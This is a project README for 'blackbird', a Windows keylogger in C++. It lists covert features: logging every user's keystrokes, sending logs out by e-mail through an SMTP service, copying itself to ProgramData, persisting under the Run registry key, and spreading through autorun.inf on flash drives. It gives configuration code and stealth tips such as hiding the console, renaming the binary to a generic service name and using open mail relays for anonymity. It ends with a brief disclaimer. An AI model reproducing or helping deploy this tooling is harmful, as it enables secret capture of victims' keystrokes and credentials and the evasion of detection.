A little bird that tells you. Capable Windows userspace keylogger in ~300 lines of modern C++.
- Logs to an offline file and/or an e-mail address.
- Respects the user locale and outputs UTF-8, hence supports all keyboard layouts and languages.
- Minimal memory consumption and performance impact.
- Capable of logging all users when deployed as admin, distinguishing logs by usernames.
- Capable of copying itself into a system directory when run, to ease deployment via autorun flash drives.
- Capable of running automatically on system startup.
- Configure and generate with CMake.
- Build the
blackbird(orALL_BUILD) target with Visual Studio.
You can adjust the settings in the main function:
std::int32_t WinMain(HINSTANCE, HINSTANCE, LPTSTR, std::int32_t)
{
const blackbird::settings settings
{
.update_interval = std::chrono::milliseconds(10),
.save_interval = std::chrono::seconds (900),
.save_to_file = true,
.file_prefix = L"" ,
.save_to_email = false,
.email_host = "",
.email_api_key = "",
.email_address = "",
.copy_to_system = false,
.system_directory = _wgetenv(L"ProgramData"),
.auto_run_on_startup = false,
.registry_name = L"Service"
};
blackbird::key_logger(settings).run();
}| Name | Explanation |
|---|---|
update_interval |
The interval between two keyboard state checks. Increasing the interval improves performance but may lead to missed key presses. The default of 10 milliseconds leads to 100 updates per second and is generally sufficient. |
save_interval |
The interval between two logs. The default of 15 minutes yields a maximum of 96 log files/e-mails per day. |
save_to_file |
Toggle to enable logging to files. |
file_prefix |
The prefix that will be prepended to each log filepath. It can be anything, including empty string which is the default. If set to an existing directory (including the trailing slash), it will cause the logs to be recorded to a location other than the executable's. |
save_to_email |
Toggle to enable logging to an e-mail address. Requires email_host, email_api_key and email_address to be set. See the Using the e-mail functionality section for more detail. |
email_host |
The address of the SMTP service. |
email_api_key |
The API key provided by the SMTP service. |
email_address |
The e-mail address that will receive the logs. Independent of the SMTP service. |
copy_to_system |
Toggle to enable copying the executable to a system directory on first run. Requires system_directory to be set. |
system_directory |
The existing directory which the executable will be copied to. The default is the %ProgramData% directory, which does not require admin privileges, and is generally sufficient. |
auto_run_on_startup |
Toggle to enable running automatically on system startup. Requires registry_name to be set. |
registry_name |
The name which the executable will be mapped to under Software\Microsoft\Windows\CurrentVersion\Run. It can be anything, excluding empty string. The default is Service, and is generally sufficient. |
In order to use the e-mail functionality, you need access to an SMTP service. Twilio SendGrid provides one such service that is free for 100 emails per day, which is enough for logging one device every 15 minutes. You can create an account and a project with API key on their website, and update the settings as the following:
.save_to_email = true,
.email_host = "smtp.sendgrid.net",
.email_api_key = "[YOUR_API_KEY]",
.email_address = "[YOUR_EMAIL_ADDRESS]",Note that most of such services are traceable to your person. For anonymity you should look into open mail relays such as John Gilmore's new.toad.com, or set up your own SMTP server.
- Build in
Releasemode. This makes the console invisible, and is necessary for copying into system directory and running at startup functionalities to work. - Rename the executable to something generic such as
Service Wrapper.exe. This is the name that will appear in the system directory and the Task Manager. - To deploy using a flash drive or similar media, you can create an
autorun.inffile with the following content:
[autorun]
shellexecute=[PATH_TO_YOUR_EXE].exe
I do not endorse the use of this software for malicious purposes in any way.